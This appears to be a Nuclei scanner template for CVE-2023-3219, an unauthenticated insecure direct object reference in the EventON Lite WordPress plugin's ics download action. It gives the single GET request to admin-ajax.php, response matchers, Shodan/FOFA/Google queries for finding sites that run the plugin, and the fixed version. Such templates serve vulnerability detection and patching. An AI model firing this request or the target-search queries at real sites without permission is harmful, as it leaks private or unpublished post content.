The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors
to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
PoC代码[已公开]
id: CVE-2023-3219
info:
name: EventON Lite < 2.1.2 - Arbitrary File Download
author: r3Y3r53
severity: medium
description: |
The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors
to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
remediation: Fixed in version 2.1.2
reference:
- https://wpscan.com/vulnerability/72d80887-0270-4987-9739-95b1a178c1fd
- https://nvd.nist.gov/vuln/detail/CVE-2023-3219
- https://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
- https://wordpress.org/plugins/eventon-lite/
- http://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-3219
cwe-id: CWE-639
epss-score: 0.7763
epss-percentile: 0.98956
cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: myeventon
product: eventon
framework: wordpress
shodan-query:
- http.html:/wp-content/plugins/eventon/
- http.html:/wp-content/plugins/eventon-lite/
fofa-query:
- wp-content/plugins/eventon/
- body=/wp-content/plugins/eventon/
- body=/wp-content/plugins/eventon-lite/
publicwww-query:
- "/wp-content/plugins/eventon-lite/"
- /wp-content/plugins/eventon/
google-query: inurl:"/wp-content/plugins/eventon/"
tags: cve,cve2023,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon-lite,bypass,myeventon
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "BEGIN:VCALENDAR"
- "END:VCALENDAR"
condition: and
- type: word
part: header
words:
- "text/Calendar"
- type: status
status:
- 200
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